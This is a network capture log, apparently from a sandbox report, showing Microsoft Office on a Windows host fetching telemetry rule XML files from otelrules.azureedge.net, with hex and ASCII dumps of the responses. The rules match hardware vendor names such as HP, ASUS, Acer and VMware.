2024-11-29 22:11:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:03 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:03 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 6f96f590-e01e-0099-0e7f-3fda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221103Z-174f7845968kdththC1EWRzvxn0000000cv000000000fhge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:03 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:03 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:03 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 50b713a5-901e-0015-7a04-42b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221103Z-174f78459688l8rvhC1EWRtzr00000000d0g00000000ngd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:04 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:05 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:05 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e2bedc78-c01e-0066-2f35-40a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221105Z-174f7845968nxc96hC1EWRspw800000010c0000000001wtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:05 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:05 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221105Z-174f7845968cdxdrhC1EWRg0en00000010bg00000000pm62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:05 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221105Z-174f78459685m244hC1EWRgp2c00000010eg00000000346k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:05 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: cce54a11-701e-006f-7509-42afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221105Z-174f7845968glpgnhC1EWR7uec00000010kg00000000r09q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:05 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 72388ca2-901e-0029-4711-41274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221106Z-174f7845968pght8hC1EWRyvxg00000003mg00000000ha3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:07 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221107Z-174f7845968swgbqhC1EWRmnb400000010sg000000003f88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:07 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:08 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f9751f86-801e-0035-08a1-42752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221108Z-174f7845968j6t2phC1EWRcfe800000010rg000000005w5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:08 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:07 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:08 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221108Z-174f7845968vqt9xhC1EWRgten00000010g000000000gt3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:08 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:08 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:08 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:08 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 5e69cd2e-d01e-002b-6bff-4125fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221108Z-174f7845968pf68xhC1EWRr4h800000010r000000000fszk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:08 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:09 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
